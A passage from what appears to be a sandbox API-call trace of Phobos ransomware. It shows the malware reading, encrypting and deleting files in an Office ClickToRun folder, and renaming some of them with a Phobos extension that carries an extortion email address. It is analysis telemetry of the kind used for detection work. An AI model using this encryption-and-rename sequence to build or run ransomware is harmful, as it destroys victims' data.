lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0166.820] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0166.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0166.821] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1550) returned 1 [0166.821] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0166.821] ReadFile (in: hFile=0x2e8, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x66, lpOverlapped=0x0) returned 1 [0166.823] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x70, dwBufLen=0x70 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x70) returned 1 [0166.823] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x70, lpOverlapped=0x0) returned 1 [0166.825] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1b10) returned 1 [0166.825] CryptSetKeyParam (hKey=0x1d1b10, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0166.825] CryptEncrypt (in: hKey=0x1d1b10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0166.825] CryptDestroyKey (hKey=0x1d1b10) returned 1 [0166.825] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0166.825] CryptDestroyKey (hKey=0x1d1550) returned 1 [0166.825] CloseHandle (hObject=0x2e8) returned 1 [0166.881] CloseHandle (hObject=0x2ec) returned 1 [0166.881] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 1 [0166.883] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0166.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0166.883] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=1093248) returned 1 [0166.883] CloseHandle (hObject=0x2ec) returned 1 [0166.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0166.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0166.884] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0166.884] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0166.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0166.885] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1410) returned 1 [0166.885] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0166.885] ReadFile (in: hFile=0x2ec, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x10ae80, lpOverlapped=0x0) returned 1 [0167.384] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x10ae90, dwBufLen=0x10ae90 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x10ae90) returned 1 [0167.385] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x10ae90, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x10ae90, lpOverlapped=0x0) returned 1 [0168.025] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d16d0) returned 1 [0168.025] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0168.025] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x50, dwBufLen=0x50 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x50) returned 1 [0168.025] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0168.025] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x102, lpOverlapped=0x0) returned 1 [0168.026] CryptDestroyKey (hKey=0x1d1410) returned 1 [0168.026] CloseHandle (hObject=0x2ec) returned 1 [0168.026] CloseHandle (hObject=0x2e4) returned 1 [0168.026] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 1 [0168.028] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0168.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0168.029] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=9330784) returned 1 [0168.029] CloseHandle (hObject=0x2e4) returned 1 [0168.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20 [0168.029] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0168.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.031] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1 [0168.032] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0168.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0168.034] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=61024) returned 1 [0168.034] CloseHandle (hObject=0x2e4) returned 1 [0168.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20 [0168.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0168.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0168.034] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0168.034] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0168.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0168.039] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1a50) returned 1 [0168.039] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0168.040] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0xee60, lpOverlapped=0x0) returned 1 [0168.244] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0xee70, dwBufLen=0xee70 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0xee70) returned 1 [0168.245] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xee70, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xee70, lpOverlapped=0x0) returned 1 [0168.247] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d16d0) returned 1 [0168.247] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0168.247] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x50, dwBufLen=0x50 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x50) returned 1 [0168.247] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0168.247] WriteFile (in: hFile=0x2ec, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x102, lpOverlapped=0x0) returned 1 [0168.247] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0168.247] CloseHandle (hObject=0x2e4) returned 1 [0168.247] CloseHandle (hObject=0x2ec) returned 1 [0168.255] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 1 [0168.256] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0168.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0168.256] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=660136) returned 1 [0168.256] CloseHandle (hObject=0x2ec) returned 1 [0168.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20 [0168.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0168.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.257] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0168.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0168.257] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=635040) returned 1 [0168.257] CloseHandle (hObject=0x2ec) returned 1 [0168.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20 [0168.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0168.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.261] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0168.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0168.261] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=963240) returned 1 [0168.261] CloseHandle (hObject=0x2ec) returned 1 [0168.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20 [0168.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0168.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.262] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0168.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0168.262] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=5967976) returned 1 [0168.262] CloseHandle (hObject=0x2ec) returned 1 [0168.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0x20 [0168.262] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0168.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0168.278] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f980 | out: lpNewFilePointer=0x0) returned 1 [0168.278] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f980 | out: lpNewFilePointer=0x0) returned 1 [0168.278] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d1f98c, lpOverlapped=0x0 | out: lpBuffer=0x30c1058*, lpNumberOfBytesRead=0x2d1f98c*=0x40000, lpOverlapped=0x0) returned 1 [0168.329] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f980 | out: lpNewFilePointer=0x0) returned 1 [0168.329] ReadFile (in: hFile=0x2e4, lpBuffer=0x3101058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d1f98c, lpOverlapped=0x0 | out: lpBuffer=0x3101058*, lpNumberOfBytesRead=0x2d1f98c*=0x40000, lpOverlapped=0x0) returned 1 [0168.402] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f980 | out: lpNewFilePointer=0x0) returned 1 [0168.402] ReadFile (in: hFile=0x2e4, lpBuffer=0x3141058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d1f98c, lpOverlapped=0x0 | out: lpBuffer=0x3141058*, lpNumberOfBytesRead=0x2d1f98c*=0x40000, lpOverlapped=0x0) returned 1 [0168.604] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f970, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9dc | out: phKey=0x2d1f9dc*=0x1d16d0) returned 1 [0168.604] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0168.604] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f990*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f990*=0xc0060) returned 1 [0168.605] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0168.605] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b8 | out: lpNewFilePointer=0x0) returned 1 [0168.605] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2d1f9c8, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9c8*=0xc0112, lpOverlapped=0x0) returned 1 [0168.624] SetEndOfFile (hFile=0x2e4) returned 1 [0168.708] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f988 | out: lpNewFilePointer=0x0) returned 1 [0168.708] WriteFile (in: hFile=0x2e4, lpBuffer=0x318114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d1f994, lpOverlapped=0x0 | out: lpBuffer=0x318114a*, lpNumberOfBytesWritten=0x2d1f994*=0x40000, lpOverlapped=0x0) returned 1 [0168.712] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f988 | out: lpNewFilePointer=0x0) returned 1 [0168.712] WriteFile (in: hFile=0x2e4, lpBuffer=0x318114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d1f994, lpOverlapped=0x0 | out: lpBuffer=0x318114a*, lpNumberOfBytesWritten=0x2d1f994*=0x40000, lpOverlapped=0x0) returned 1 [0168.715] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f988 | out: lpNewFilePointer=0x0) returned 1 [0168.715] WriteFile (in: hFile=0x2e4, lpBuffer=0x318114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d1f994, lpOverlapped=0x0 | out: lpBuffer=0x318114a*, lpNumberOfBytesWritten=0x2d1f994*=0x40000, lpOverlapped=0x0) returned 1 [0168.717] CloseHandle (hObject=0x2e4) returned 1 [0168.719] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0168.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0168.719] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=2776664) returned 1 [0168.719] CloseHandle (hObject=0x2e4) returned 1 [0168.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: 